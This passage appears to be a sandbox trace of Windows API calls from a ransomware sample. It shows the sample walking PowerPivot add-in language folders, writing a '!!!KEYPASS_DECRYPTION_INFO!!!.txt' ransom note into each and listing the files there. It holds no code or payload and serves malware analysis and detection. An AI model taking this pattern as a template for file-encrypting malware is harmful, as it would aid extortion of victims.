Add-in\\tr\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.948] FindNextFileW (in: hFindFile=0x3a0a9b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.948] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.948] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition130.xml") returned=".xml" [0255.948] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.949] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.949] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.949] GetLastError () returned 0x3f0 [0255.949] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.949] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\uk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c8 [0255.961] GetFileType (hFile=0x9c8) returned 0x1 [0255.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.961] WriteFile (in: hFile=0x9c8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.962] WriteFile (in: hFile=0x9c8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.962] CloseHandle (hObject=0x9c8) returned 1 [0255.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0aff8 [0255.963] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\LocalizedStrings.xml") returned=".xml" [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.025] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0256.025] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.026] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0256.026] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.027] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0256.027] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.027] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0256.027] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.027] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0256.027] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.027] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0256.027] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.027] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0256.027] FindNextFileW (in: hFindFile=0x3a0aff8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0256.027] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.027] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0256.027] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.027] GetLastError () returned 0x3f0 [0256.027] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.027] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\vi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9cc [0256.056] GetFileType (hFile=0x9cc) returned 0x1 [0256.056] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0256.056] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0256.056] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0256.056] WriteFile (in: hFile=0x9cc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0256.057] WriteFile (in: hFile=0x9cc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0256.057] CloseHandle (hObject=0x9cc) returned 1 [0256.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0af38 [0256.058] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.068] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\LocalizedStrings.xml") returned=".xml" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.069] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0256.069] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0256.070] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.070] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0256.071] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.071] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0256.071] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.071] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0256.071] FindNextFileW (in: hFindFile=0x3a0af38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0256.071] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0256.071] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0256.071] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.071] GetLastError () returned 0x3f0 [0256.071] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.071] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-chs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d0 [0256.095] GetFileType (hFile=0x9d0) returned 0x1 [0256.095] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0256.095] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0256.095] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0256.096] WriteFile (in: hFile=0x9d0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0256.096] WriteFile (in: hFile=0x9d0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0256.097] CloseHandle (hObject=0x9d0) returned 1 [0256.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0ac38 [0256.097] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\LocalizedStrings.xml") returned=".xml" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0256.099] FindNextFileW (in: hFindFile=0x3a0ac38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0256.099] PathFindExtensionW (pszPath="C:\\Program 